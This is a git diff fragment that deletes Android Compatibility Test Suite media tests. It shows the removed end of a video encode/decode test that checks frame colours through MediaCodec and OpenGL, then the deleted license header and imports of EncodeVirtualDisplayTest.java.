-        OutputSurface outputSurface = null;
-
-        // The size of a frame of video data, in the formats we handle, is stride*sliceHeight
-        // for Y, and (stride/2)*(sliceHeight/2) for each of the Cb and Cr channels.  Application
-        // of algebra and assuming that stride==width and sliceHeight==height yields:
-        byte[] frameData = new byte[mWidth * mHeight * 3 / 2];
-
-        // Just out of curiosity.
-        long rawSize = 0;
-        long encodedSize = 0;
-
-        // Save a copy to disk.  Useful for debugging the test.  Note this is a raw elementary
-        // stream, not a .mp4 file, so not all players will know what to do with it.
-        FileOutputStream outputStream = null;
-        if (DEBUG_SAVE_FILE) {
-            String fileName = DEBUG_FILE_NAME_BASE + mWidth + "x" + mHeight + ".mp4";
-            try {
-                outputStream = new FileOutputStream(fileName);
-                Log.d(TAG, "encoded output will be saved as " + fileName);
-            } catch (IOException ioe) {
-                Log.w(TAG, "Unable to create debug output file " + fileName);
-                throw new RuntimeException(ioe);
-            }
-        }
-
-        if (toSurface) {
-            outputSurface = new OutputSurface(mWidth, mHeight);
-        }
-
-        // Loop until the output side is done.
-        boolean inputDone = false;
-        boolean encoderDone = false;
-        boolean outputDone = false;
-        int encoderStatus = -1;
-        while (!outputDone) {
-            if (VERBOSE) Log.d(TAG, "loop");
-
-
-            // If we're not done submitting frames, generate a new one and submit it.  By
-            // doing this on every loop we're working to ensure that the encoder always has
-            // work to do.
-            //
-            // We don't really want a timeout here, but sometimes there's a delay opening
-            // the encoder device, so a short timeout can keep us from spinning hard.
-            if (!inputDone) {
-                int inputBufIndex = encoder.dequeueInputBuffer(TIMEOUT_USEC);
-                if (VERBOSE) Log.d(TAG, "inputBufIndex=" + inputBufIndex);
-                if (inputBufIndex >= 0) {
-                    long ptsUsec = computePresentationTime(generateIndex);
-                    if (generateIndex == NUM_FRAMES) {
-                        // Send an empty frame with the end-of-stream flag set.  If we set EOS
-                        // on a frame with data, that frame data will be ignored, and the
-                        // output will be short one frame.
-                        encoder.queueInputBuffer(inputBufIndex, 0, 0, ptsUsec,
-                                MediaCodec.BUFFER_FLAG_END_OF_STREAM);
-                        inputDone = true;
-                        if (VERBOSE) Log.d(TAG, "sent input EOS (with zero-length frame)");
-                    } else {
-                        generateFrame(generateIndex, encoderColorFormat, frameData);
-
-                        ByteBuffer inputBuf = encoder.getInputBuffer(inputBufIndex);
-                        // the buffer should be sized to hold one full frame
-                        assertTrue(inputBuf.capacity() >= frameData.length);
-                        inputBuf.clear();
-                        inputBuf.put(frameData);
-
-                        encoder.queueInputBuffer(inputBufIndex, 0, frameData.length, ptsUsec, 0);
-                        if (VERBOSE) Log.d(TAG, "submitted frame " + generateIndex + " to enc");
-                    }
-                    generateIndex++;
-                } else {
-                    // either all in use, or we timed out during initial setup
-                    if (VERBOSE) Log.d(TAG, "input buffer not available");
-                }
-            }
-
-            // Check for output from the encoder.  If there's no output yet, we either need to
-            // provide more input, or we need to wait for the encoder to work its magic.  We
-            // can't actually tell which is the case, so if we can't get an output buffer right
-            // away we loop around and see if it wants more input.
-            //
-            // Once we get EOS from the encoder, we don't need to do this anymore.
-            if (!encoderDone) {
-                MediaCodec.BufferInfo info = encoderInfo;
-                if (encoderStatus < 0) {
-                    encoderStatus = encoder.dequeueOutputBuffer(info, TIMEOUT_USEC);
-                }
-                if (encoderStatus == MediaCodec.INFO_TRY_AGAIN_LATER) {
-                    // no output available yet
-                    if (VERBOSE) Log.d(TAG, "no output from encoder available");
-                } else if (encoderStatus == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED) {
-                    // not expected for an encoder
-                    encoderOutputBuffers = encoder.getOutputBuffers();
-                    if (VERBOSE) Log.d(TAG, "encoder output buffers changed");
-                } else if (encoderStatus == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
-                    // expected on API 18+
-                    MediaFormat newFormat = encoder.getOutputFormat();
-                    if (VERBOSE) Log.d(TAG, "encoder output format changed: " + newFormat);
-                } else if (encoderStatus < 0) {
-                    fail("unexpected result from encoder.dequeueOutputBuffer: " + encoderStatus);
-                } else { // encoderStatus >= 0
-                    ByteBuffer encodedData = encoder.getOutputBuffer(encoderStatus);
-                    if (encodedData == null) {
-                        fail("encoderOutputBuffer " + encoderStatus + " was null");
-                    }
-
-                    // It's usually necessary to adjust the ByteBuffer values to match BufferInfo.
-                    encodedData.position(info.offset);
-                    encodedData.limit(info.offset + info.size);
-
-                    boolean releaseBuffer = false;
-                    if (!decoderConfigured) {
-                        // Codec config info.  Only expected on first packet.  One way to
-                        // handle this is to manually stuff the data into the MediaFormat
-                        // and pass that to configure().  We do that here to exercise the API.
-                        // For codecs that don't have codec config data (such as VP8),
-                        // initialize the decoder before trying to decode the first packet.
-                        assertTrue((info.flags & MediaCodec.BUFFER_FLAG_CODEC_CONFIG) != 0 ||
-                                   mMimeType.equals(MIME_TYPE_VP8));
-                        MediaFormat format =
-                                MediaFormat.createVideoFormat(mMimeType, mWidth, mHeight);
-                        if ((info.flags & MediaCodec.BUFFER_FLAG_CODEC_CONFIG) != 0)
-                            format.setByteBuffer("csd-0", encodedData);
-                        decoder.configure(format, toSurface ? outputSurface.getSurface() : null,
-                                null, 0);
-                        decoder.start();
-                        decoderInputBuffers = decoder.getInputBuffers();
-                        decoderOutputBuffers = decoder.getOutputBuffers();
-                        decoderConfigured = true;
-                        if (VERBOSE) Log.d(TAG, "decoder configured (" + info.size + " bytes)");
-                    }
-                    if ((info.flags & MediaCodec.BUFFER_FLAG_CODEC_CONFIG) == 0) {
-                        // Get a decoder input buffer
-                        assertTrue(decoderConfigured);
-                        int inputBufIndex = decoder.dequeueInputBuffer(TIMEOUT_USEC);
-                        if (inputBufIndex >= 0) {
-                            ByteBuffer inputBuf = decoderInputBuffers[inputBufIndex];
-                            inputBuf.clear();
-                            inputBuf.put(encodedData);
-                            decoder.queueInputBuffer(inputBufIndex, 0, info.size,
-                                    info.presentationTimeUs, info.flags);
-
-                            encoderDone = (info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0;
-                            if (VERBOSE) Log.d(TAG, "passed " + info.size + " bytes to decoder"
-                                    + (encoderDone ? " (EOS)" : ""));
-                            releaseBuffer = true;
-                        }
-                    } else {
-                        releaseBuffer = true;
-                    }
-                    if (releaseBuffer) {
-                        encodedSize += info.size;
-                        if (outputStream != null) {
-                            byte[] data = new byte[info.size];
-                            encodedData.position(info.offset);
-                            encodedData.get(data);
-                            try {
-                                outputStream.write(data);
-                            } catch (IOException ioe) {
-                                Log.w(TAG, "failed writing debug data to file");
-                                throw new RuntimeException(ioe);
-                            }
-                        }
-                        encoder.releaseOutputBuffer(encoderStatus, false);
-                        encoderStatus = -1;
-                    }
-
-                }
-            }
-
-            // Check for output from the decoder.  We want to do this on every loop to avoid
-            // the possibility of stalling the pipeline.  We use a short timeout to avoid
-            // burning CPU if the decoder is hard at work but the next frame isn't quite ready.
-            //
-            // If we're decoding to a Surface, we'll get notified here as usual but the
-            // ByteBuffer references will be null.  The data is sent to Surface instead.
-            if (decoderConfigured) {
-                MediaCodec.BufferInfo info = decoderInfo;
-                int decoderStatus = decoder.dequeueOutputBuffer(info, TIMEOUT_USEC);
-                if (decoderStatus == MediaCodec.INFO_TRY_AGAIN_LATER) {
-                    // no output available yet
-                    if (VERBOSE) Log.d(TAG, "no output from decoder available");
-                } else if (decoderStatus == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED) {
-                    // The storage associated with the direct ByteBuffer may already be unmapped,
-                    // so attempting to access data through the old output buffer array could
-                    // lead to a native crash.
-                    if (VERBOSE) Log.d(TAG, "decoder output buffers changed");
-                    decoderOutputBuffers = decoder.getOutputBuffers();
-                } else if (decoderStatus == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
-                    // this happens before the first frame is returned
-                    decoderOutputFormat = decoder.getOutputFormat();
-                    if (VERBOSE) Log.d(TAG, "decoder output format changed: " +
-                            decoderOutputFormat);
-                } else if (decoderStatus < 0) {
-                    fail("unexpected result from deocder.dequeueOutputBuffer: " + decoderStatus);
-                } else {  // decoderStatus >= 0
-                    if (!toSurface) {
-                        ByteBuffer outputFrame = decoderOutputBuffers[decoderStatus];
-                        Image outputImage = (checkIndex % 2 == 0) ? null : decoder.getOutputImage(decoderStatus);
-
-                        outputFrame.position(info.offset);
-                        outputFrame.limit(info.offset + info.size);
-
-                        rawSize += info.size;
-                        if (info.size == 0) {
-                            if (VERBOSE) Log.d(TAG, "got empty frame");
-                        } else {
-                            if (VERBOSE) Log.d(TAG, "decoded, checking frame " + checkIndex);
-                            assertEquals("Wrong time stamp", computePresentationTime(checkIndex),
-                                    info.presentationTimeUs);
-                            if (!checkFrame(checkIndex++, decoderOutputFormat, outputFrame, outputImage)) {
-                                badFrames++;
-                            }
-                        }
-                        if (outputImage != null) {
-                            outputImage.close();
-                        }
-
-                        if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
-                            if (VERBOSE) Log.d(TAG, "output EOS");
-                            outputDone = true;
-                        }
-                        decoder.releaseOutputBuffer(decoderStatus, false /*render*/);
-                    } else {
-                        if (VERBOSE) Log.d(TAG, "surface decoder given buffer " + decoderStatus +
-                                " (size=" + info.size + ")");
-                        rawSize += info.size;
-                        if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
-                            if (VERBOSE) Log.d(TAG, "output EOS");
-                            outputDone = true;
-                        }
-
-                        boolean doRender = (info.size != 0);
-
-                        // As soon as we call releaseOutputBuffer, the buffer will be forwarded
-                        // to SurfaceTexture to convert to a texture.  The API doesn't guarantee
-                        // that the texture will be available before the call returns, so we
-                        // need to wait for the onFrameAvailable callback to fire.
-                        decoder.releaseOutputBuffer(decoderStatus, doRender);
-                        if (doRender) {
-                            if (VERBOSE) Log.d(TAG, "awaiting frame " + checkIndex);
-                            assertEquals("Wrong time stamp", computePresentationTime(checkIndex),
-                                    info.presentationTimeUs);
-                            outputSurface.awaitNewImage();
-                            outputSurface.drawImage();
-                            if (!checkSurfaceFrame(checkIndex++)) {
-                                badFrames++;
-                            }
-                        }
-                    }
-                }
-            }
-        }
-
-        if (VERBOSE) Log.d(TAG, "decoded " + checkIndex + " frames at "
-                + mWidth + "x" + mHeight + ": raw=" + rawSize + ", enc=" + encodedSize);
-        if (outputStream != null) {
-            try {
-                outputStream.close();
-            } catch (IOException ioe) {
-                Log.w(TAG, "failed closing debug file");
-                throw new RuntimeException(ioe);
-            }
-        }
-
-        if (outputSurface != null) {
-            outputSurface.release();
-        }
-
-        if (checkIndex != NUM_FRAMES) {
-            fail("expected " + NUM_FRAMES + " frames, only decoded " + checkIndex);
-        }
-        if (badFrames != 0) {
-            fail("Found " + badFrames + " bad frames");
-        }
-    }
-
-    /**
-     * Does the actual work for encoding and decoding from Surface to Surface.
-     */
-    private void doEncodeDecodeVideoFromSurfaceToSurface(MediaCodecWrapper encoder,
-            InputSurfaceInterface inputSurface, MediaCodec decoder,
-            OutputSurface outputSurface) {
-        final int TIMEOUT_USEC = 10000;
-        ByteBuffer[] encoderOutputBuffers = encoder.getOutputBuffers();
-        ByteBuffer[] decoderInputBuffers = decoder.getInputBuffers();
-        MediaCodec.BufferInfo info = new MediaCodec.BufferInfo();
-        int generateIndex = 0;
-        int checkIndex = 0;
-        int badFrames = 0;
-
-        // Save a copy to disk.  Useful for debugging the test.  Note this is a raw elementary
-        // stream, not a .mp4 file, so not all players will know what to do with it.
-        FileOutputStream outputStream = null;
-        if (DEBUG_SAVE_FILE) {
-            String fileName = DEBUG_FILE_NAME_BASE + mWidth + "x" + mHeight + ".mp4";
-            try {
-                outputStream = new FileOutputStream(fileName);
-                Log.d(TAG, "encoded output will be saved as " + fileName);
-            } catch (IOException ioe) {
-                Log.w(TAG, "Unable to create debug output file " + fileName);
-                throw new RuntimeException(ioe);
-            }
-        }
-
-        // Loop until the output side is done.
-        boolean inputDone = false;
-        boolean encoderDone = false;
-        boolean outputDone = false;
-        while (!outputDone) {
-            if (VERBOSE) Log.d(TAG, "loop");
-
-            // If we're not done submitting frames, generate a new one and submit it.  The
-            // eglSwapBuffers call will block if the input is full.
-            if (!inputDone) {
-                if (generateIndex == NUM_FRAMES) {
-                    // Send an empty frame with the end-of-stream flag set.
-                    if (VERBOSE) Log.d(TAG, "signaling input EOS");
-                    encoder.signalEndOfInputStream();
-                    inputDone = true;
-                } else {
-                    inputSurface.makeCurrent();
-                    generateSurfaceFrame(generateIndex);
-                    inputSurface.setPresentationTime(computePresentationTime(generateIndex) * 1000);
-                    if (VERBOSE) Log.d(TAG, "inputSurface swapBuffers");
-                    inputSurface.swapBuffers();
-                }
-                generateIndex++;
-            }
-
-            // Assume output is available.  Loop until both assumptions are false.
-            boolean decoderOutputAvailable = true;
-            boolean encoderOutputAvailable = !encoderDone;
-            while (decoderOutputAvailable || encoderOutputAvailable) {
-                // Start by draining any pending output from the decoder.  It's important to
-                // do this before we try to stuff any more data in.
-                int decoderStatus = decoder.dequeueOutputBuffer(info, TIMEOUT_USEC);
-                if (decoderStatus == MediaCodec.INFO_TRY_AGAIN_LATER) {
-                    // no output available yet
-                    if (VERBOSE) Log.d(TAG, "no output from decoder available");
-                    decoderOutputAvailable = false;
-                } else if (decoderStatus == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED) {
-                    if (VERBOSE) Log.d(TAG, "decoder output buffers changed (but we don't care)");
-                } else if (decoderStatus == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
-                    // this happens before the first frame is returned
-                    MediaFormat decoderOutputFormat = decoder.getOutputFormat();
-                    if (VERBOSE) Log.d(TAG, "decoder output format changed: " +
-                            decoderOutputFormat);
-                } else if (decoderStatus < 0) {
-                    fail("unexpected result from deocder.dequeueOutputBuffer: " + decoderStatus);
-                } else {  // decoderStatus >= 0
-                    if (VERBOSE) Log.d(TAG, "surface decoder given buffer " + decoderStatus +
-                            " (size=" + info.size + ")");
-                    if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
-                        if (VERBOSE) Log.d(TAG, "output EOS");
-                        outputDone = true;
-                    }
-
-                    // The ByteBuffers are null references, but we still get a nonzero size for
-                    // the decoded data.
-                    boolean doRender = (info.size != 0);
-
-                    // As soon as we call releaseOutputBuffer, the buffer will be forwarded
-                    // to SurfaceTexture to convert to a texture.  The API doesn't guarantee
-                    // that the texture will be available before the call returns, so we
-                    // need to wait for the onFrameAvailable callback to fire.  If we don't
-                    // wait, we risk dropping frames.
-                    outputSurface.makeCurrent();
-                    decoder.releaseOutputBuffer(decoderStatus, doRender);
-                    if (doRender) {
-                        assertEquals("Wrong time stamp", computePresentationTime(checkIndex),
-                                info.presentationTimeUs);
-                        if (VERBOSE) Log.d(TAG, "awaiting frame " + checkIndex);
-                        outputSurface.awaitNewImage();
-                        outputSurface.drawImage();
-                        if (!checkSurfaceFrame(checkIndex++)) {
-                            badFrames++;
-                        }
-                    }
-                }
-                if (decoderStatus != MediaCodec.INFO_TRY_AGAIN_LATER) {
-                    // Continue attempts to drain output.
-                    continue;
-                }
-
-                // Decoder is drained, check to see if we've got a new buffer of output from
-                // the encoder.
-                if (!encoderDone) {
-                    int encoderStatus = encoder.dequeueOutputBuffer(info, TIMEOUT_USEC);
-                    if (encoderStatus == MediaCodec.INFO_TRY_AGAIN_LATER) {
-                        // no output available yet
-                        if (VERBOSE) Log.d(TAG, "no output from encoder available");
-                        encoderOutputAvailable = false;
-                    } else if (encoderStatus == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED) {
-                        // not expected for an encoder
-                        encoderOutputBuffers = encoder.getOutputBuffers();
-                        if (VERBOSE) Log.d(TAG, "encoder output buffers changed");
-                    } else if (encoderStatus == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
-                        // expected on API 18+
-                        String newFormat = encoder.getOutputFormatString();
-                        if (VERBOSE) Log.d(TAG, "encoder output format changed: " + newFormat);
-                    } else if (encoderStatus < 0) {
-                        fail("unexpected result from encoder.dequeueOutputBuffer: " + encoderStatus);
-                    } else { // encoderStatus >= 0
-                        ByteBuffer encodedData = encoder.getOutputBuffer(encoderStatus);
-                        if (encodedData == null) {
-                            fail("encoderOutputBuffer " + encoderStatus + " was null");
-                        }
-
-                        // It's usually necessary to adjust the ByteBuffer values to match BufferInfo.
-                        encodedData.position(info.offset);
-                        encodedData.limit(info.offset + info.size);
-
-                        if (outputStream != null) {
-                            byte[] data = new byte[info.size];
-                            encodedData.get(data);
-                            encodedData.position(info.offset);
-                            try {
-                                outputStream.write(data);
-                            } catch (IOException ioe) {
-                                Log.w(TAG, "failed writing debug data to file");
-                                throw new RuntimeException(ioe);
-                            }
-                        }
-
-                        // Get a decoder input buffer, blocking until it's available.  We just
-                        // drained the decoder output, so we expect there to be a free input
-                        // buffer now or in the near future (i.e. this should never deadlock
-                        // if the codec is meeting requirements).
-                        //
-                        // The first buffer of data we get will have the BUFFER_FLAG_CODEC_CONFIG
-                        // flag set; the decoder will see this and finish configuring itself.
-                        int inputBufIndex = decoder.dequeueInputBuffer(-1);
-                        ByteBuffer inputBuf = decoderInputBuffers[inputBufIndex];
-                        inputBuf.clear();
-                        inputBuf.put(encodedData);
-                        decoder.queueInputBuffer(inputBufIndex, 0, info.size,
-                                info.presentationTimeUs, info.flags);
-
-                        // If everything from the encoder has been passed to the decoder, we
-                        // can stop polling the encoder output.  (This just an optimization.)
-                        if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
-                            encoderDone = true;
-                            encoderOutputAvailable = false;
-                        }
-                        if (VERBOSE) Log.d(TAG, "passed " + info.size + " bytes to decoder"
-                                + (encoderDone ? " (EOS)" : ""));
-
-                        encoder.releaseOutputBuffer(encoderStatus, false);
-                    }
-                }
-            }
-        }
-
-        if (outputStream != null) {
-            try {
-                outputStream.close();
-            } catch (IOException ioe) {
-                Log.w(TAG, "failed closing debug file");
-                throw new RuntimeException(ioe);
-            }
-        }
-
-        if (checkIndex != NUM_FRAMES) {
-            fail("expected " + NUM_FRAMES + " frames, only decoded " + checkIndex);
-        }
-        if (badFrames != 0) {
-            fail("Found " + badFrames + " bad frames");
-        }
-    }
-
-
-    /**
-     * Generates data for frame N into the supplied buffer.  We have an 8-frame animation
-     * sequence that wraps around.  It looks like this:
-     * <pre>
-     *   0 1 2 3
-     *   7 6 5 4
-     * </pre>
-     * We draw one of the eight rectangles and leave the rest set to the zero-fill color.
-     */
-    private void generateFrame(int frameIndex, int colorFormat, byte[] frameData) {
-        final int HALF_WIDTH = mWidth / 2;
-        boolean semiPlanar = isSemiPlanarYUV(colorFormat);
-
-        // Set to zero.  In YUV this is a dull green.
-        Arrays.fill(frameData, (byte) 0);
-
-        int startX, startY;
-
-        frameIndex %= 8;
-        //frameIndex = (frameIndex / 8) % 8;    // use this instead for debug -- easier to see
-        if (frameIndex < 4) {
-            startX = frameIndex * (mWidth / 4);
-            startY = 0;
-        } else {
-            startX = (7 - frameIndex) * (mWidth / 4);
-            startY = mHeight / 2;
-        }
-
-        for (int y = startY + (mHeight/2) - 1; y >= startY; --y) {
-            for (int x = startX + (mWidth/4) - 1; x >= startX; --x) {
-                if (semiPlanar) {
-                    // full-size Y, followed by UV pairs at half resolution
-                    // e.g. Nexus 4 OMX.qcom.video.encoder.avc COLOR_FormatYUV420SemiPlanar
-                    // e.g. Galaxy Nexus OMX.TI.DUCATI1.VIDEO.H264E
-                    //        OMX_TI_COLOR_FormatYUV420PackedSemiPlanar
-                    frameData[y * mWidth + x] = (byte) TEST_Y;
-                    if ((x & 0x01) == 0 && (y & 0x01) == 0) {
-                        frameData[mWidth*mHeight + y * HALF_WIDTH + x] = (byte) TEST_U;
-                        frameData[mWidth*mHeight + y * HALF_WIDTH + x + 1] = (byte) TEST_V;
-                    }
-                } else {
-                    // full-size Y, followed by quarter-size U and quarter-size V
-                    // e.g. Nexus 10 OMX.Exynos.AVC.Encoder COLOR_FormatYUV420Planar
-                    // e.g. Nexus 7 OMX.Nvidia.h264.encoder COLOR_FormatYUV420Planar
-                    frameData[y * mWidth + x] = (byte) TEST_Y;
-                    if ((x & 0x01) == 0 && (y & 0x01) == 0) {
-                        frameData[mWidth*mHeight + (y/2) * HALF_WIDTH + (x/2)] = (byte) TEST_U;
-                        frameData[mWidth*mHeight + HALF_WIDTH * (mHeight / 2) +
-                                  (y/2) * HALF_WIDTH + (x/2)] = (byte) TEST_V;
-                    }
-                }
-            }
-        }
-    }
-
-    /**
-     * Performs a simple check to see if the frame is more or less right.
-     * <p>
-     * See {@link #generateFrame} for a description of the layout.  The idea is to sample
-     * one pixel from the middle of the 8 regions, and verify that the correct one has
-     * the non-background color.  We can't know exactly what the video encoder has done
-     * with our frames, so we just check to see if it looks like more or less the right thing.
-     *
-     * @return true if the frame looks good
-     */
-    private boolean checkFrame(int frameIndex, MediaFormat format, ByteBuffer frameData, Image image) {
-        // Check for color formats we don't understand.  There is no requirement for video
-        // decoders to use a "mundane" format, so we just give a pass on proprietary formats.
-        // e.g. Nexus 4 0x7FA30C03 OMX_QCOM_COLOR_FormatYUV420PackedSemiPlanar64x32Tile2m8ka
-        int colorFormat = format.getInteger(MediaFormat.KEY_COLOR_FORMAT);
-        if (!isRecognizedFormat(colorFormat)) {
-            Log.d(TAG, "unable to check frame contents for colorFormat=" +
-                    Integer.toHexString(colorFormat));
-            return true;
-        }
-
-        boolean frameFailed = false;
-        boolean semiPlanar = isSemiPlanarYUV(colorFormat);
-        int width = format.getInteger(MediaFormat.KEY_STRIDE,
-                format.getInteger(MediaFormat.KEY_WIDTH));
-        int height = format.getInteger(MediaFormat.KEY_SLICE_HEIGHT,
-                format.getInteger(MediaFormat.KEY_HEIGHT));
-        int halfWidth = width / 2;
-        int cropLeft = format.getInteger("crop-left");
-        int cropRight = format.getInteger("crop-right");
-        int cropTop = format.getInteger("crop-top");
-        int cropBottom = format.getInteger("crop-bottom");
-        if (image != null) {
-            cropLeft = image.getCropRect().left;
-            cropRight = image.getCropRect().right - 1;
-            cropTop = image.getCropRect().top;
-            cropBottom = image.getCropRect().bottom - 1;
-        }
-        int cropWidth = cropRight - cropLeft + 1;
-        int cropHeight = cropBottom - cropTop + 1;
-
-        assertEquals(mWidth, cropWidth);
-        assertEquals(mHeight, cropHeight);
-
-        for (int i = 0; i < 8; i++) {
-            int x, y;
-            if (i < 4) {
-                x = i * (mWidth / 4) + (mWidth / 8);
-                y = mHeight / 4;
-            } else {
-                x = (7 - i) * (mWidth / 4) + (mWidth / 8);
-                y = (mHeight * 3) / 4;
-            }
-
-            y += cropTop;
-            x += cropLeft;
-
-            int testY, testU, testV;
-            if (image != null) {
-                Image.Plane[] planes = image.getPlanes();
-                if (planes.length == 3 && image.getFormat() == ImageFormat.YUV_420_888) {
-                    testY = planes[0].getBuffer().get(y * planes[0].getRowStride() + x * planes[0].getPixelStride()) & 0xff;
-                    testU = planes[1].getBuffer().get((y/2) * planes[1].getRowStride() + (x/2) * planes[1].getPixelStride()) & 0xff;
-                    testV = planes[2].getBuffer().get((y/2) * planes[2].getRowStride() + (x/2) * planes[2].getPixelStride()) & 0xff;
-                } else {
-                    testY = testU = testV = 0;
-                }
-            } else {
-                int off = frameData.position();
-                if (semiPlanar) {
-                    // Galaxy Nexus uses OMX_TI_COLOR_FormatYUV420PackedSemiPlanar
-                    testY = frameData.get(off + y * width + x) & 0xff;
-                    testU = frameData.get(off + width*height + 2*(y/2) * halfWidth + 2*(x/2)) & 0xff;
-                    testV = frameData.get(off + width*height + 2*(y/2) * halfWidth + 2*(x/2) + 1) & 0xff;
-                } else {
-                    // Nexus 10, Nexus 7 use COLOR_FormatYUV420Planar
-                    testY = frameData.get(off + y * width + x) & 0xff;
-                    testU = frameData.get(off + width*height + (y/2) * halfWidth + (x/2)) & 0xff;
-                    testV = frameData.get(off + width*height + halfWidth * (height / 2) +
-                            (y/2) * halfWidth + (x/2)) & 0xff;
-                }
-            }
-
-            int expY, expU, expV;
-            if (i == frameIndex % 8) {
-                // colored rect
-                expY = TEST_Y;
-                expU = TEST_U;
-                expV = TEST_V;
-            } else {
-                // should be our zeroed-out buffer
-                expY = expU = expV = 0;
-            }
-            if (!isColorClose(testY, expY) ||
-                    !isColorClose(testU, expU) ||
-                    !isColorClose(testV, expV)) {
-                Log.w(TAG, "Bad frame " + frameIndex + " (rect=" + i + ": yuv=" + testY +
-                        "," + testU + "," + testV + " vs. expected " + expY + "," + expU +
-                        "," + expV + ")");
-                frameFailed = true;
-            }
-        }
-
-        return !frameFailed;
-    }
-
-    /**
-     * Generates a frame of data using GL commands.
-     */
-    private void generateSurfaceFrame(int frameIndex) {
-        frameIndex %= 8;
-
-        int startX, startY;
-        if (frameIndex < 4) {
-            // (0,0) is bottom-left in GL
-            startX = frameIndex * (mWidth / 4);
-            startY = mHeight / 2;
-        } else {
-            startX = (7 - frameIndex) * (mWidth / 4);
-            startY = 0;
-        }
-
-        GLES20.glDisable(GLES20.GL_SCISSOR_TEST);
-        GLES20.glClearColor(TEST_R0 / 255.0f, TEST_G0 / 255.0f, TEST_B0 / 255.0f, 1.0f);
-        GLES20.glClear(GLES20.GL_COLOR_BUFFER_BIT);
-        GLES20.glEnable(GLES20.GL_SCISSOR_TEST);
-        GLES20.glScissor(startX, startY, mWidth / 4, mHeight / 2);
-        GLES20.glClearColor(TEST_R1 / 255.0f, TEST_G1 / 255.0f, TEST_B1 / 255.0f, 1.0f);
-        GLES20.glClear(GLES20.GL_COLOR_BUFFER_BIT);
-    }
-
-    /**
-     * Checks the frame for correctness.  Similar to {@link #checkFrame}, but uses GL to
-     * read pixels from the current surface.
-     *
-     * @return true if the frame looks good
-     */
-    private boolean checkSurfaceFrame(int frameIndex) {
-        ByteBuffer pixelBuf = ByteBuffer.allocateDirect(4); // TODO - reuse this
-        boolean frameFailed = false;
-
-        for (int i = 0; i < 8; i++) {
-            // Note the coordinates are inverted on the Y-axis in GL.
-            int x, y;
-            if (i < 4) {
-                x = i * (mWidth / 4) + (mWidth / 8);
-                y = (mHeight * 3) / 4;
-            } else {
-                x = (7 - i) * (mWidth / 4) + (mWidth / 8);
-                y = mHeight / 4;
-            }
-
-            GLES20.glReadPixels(x, y, 1, 1, GL10.GL_RGBA, GL10.GL_UNSIGNED_BYTE, pixelBuf);
-            int r = pixelBuf.get(0) & 0xff;
-            int g = pixelBuf.get(1) & 0xff;
-            int b = pixelBuf.get(2) & 0xff;
-            //Log.d(TAG, "GOT(" + frameIndex + "/" + i + "): r=" + r + " g=" + g + " b=" + b);
-
-            int expR, expG, expB, expR_bt709, expG_bt709, expB_bt709;
-            if (i == frameIndex % 8) {
-                // colored rect
-                expR = TEST_R1;
-                expG = TEST_G1;
-                expB = TEST_B1;
-                expR_bt709 = TEST_R1_BT709;
-                expG_bt709 = TEST_G1_BT709;
-                expB_bt709 = TEST_B1_BT709;
-            } else {
-                // zero background color
-                expR = TEST_R0;
-                expG = TEST_G0;
-                expB = TEST_B0;
-                expR_bt709 = TEST_R0_BT709;
-                expG_bt709 = TEST_G0_BT709;
-                expB_bt709 = TEST_B0_BT709;
-            }
-
-            // Some decoders use BT.709 when converting HD (i.e. >= 720p)
-            // frames from YUV to RGB, so check against both BT.601 and BT.709
-            if (mAllowBT601 &&
-                    isColorClose(r, expR) &&
-                    isColorClose(g, expG) &&
-                    isColorClose(b, expB)) {
-                // frame OK on BT.601
-                mAllowBT709 = false;
-            } else if (mAllowBT709 &&
-                           isColorClose(r, expR_bt709) &&
-                           isColorClose(g, expG_bt709) &&
-                           isColorClose(b, expB_bt709)) {
-                // frame OK on BT.709
-                mAllowBT601 = false;
-            } else {
-                Log.w(TAG, "Bad frame " + frameIndex + " (rect=" + i + " @ " + x + " " + y + ": rgb=" + r +
-                        "," + g + "," + b + " vs. expected " + expR + "," + expG +
-                        "," + expB + ")");
-                frameFailed = true;
-            }
-        }
-
-        return !frameFailed;
-    }
-
-    /**
-     * Returns true if the actual color value is close to the expected color value.  Updates
-     * mLargestColorDelta.
-     */
-    boolean isColorClose(int actual, int expected) {
-        final int MAX_DELTA = 8;
-        int delta = Math.abs(actual - expected);
-        if (delta > mLargestColorDelta) {
-            mLargestColorDelta = delta;
-        }
-        return (delta <= MAX_DELTA);
-    }
-
-    /**
-     * Generates the presentation time for frame N, in microseconds.
-     */
-    private static long computePresentationTime(int frameIndex) {
-        return 132 + frameIndex * 1000000 / FRAME_RATE;
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayTest.java b/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayTest.java
deleted file mode 100755
index 96ae72a..0000000
--- a/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayTest.java
+++ /dev/null
@@ -1,625 +0,0 @@
-/*
- * Copyright (C) 2013 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.app.Presentation;
-import android.content.Context;
-import android.graphics.drawable.ColorDrawable;
-import android.hardware.display.DisplayManager;
-import android.hardware.display.VirtualDisplay;
-import android.media.MediaCodec;
-import android.media.MediaCodecInfo;
-import android.media.MediaCodecList;
-import android.media.MediaFormat;
-import android.media.MediaMuxer;
-import android.opengl.GLES20;
-import android.os.Build;
-import android.os.Bundle;
-import android.os.Handler;
-import android.os.Looper;
-import android.platform.test.annotations.Presubmit;
-import android.platform.test.annotations.RequiresDevice;
-import android.test.AndroidTestCase;
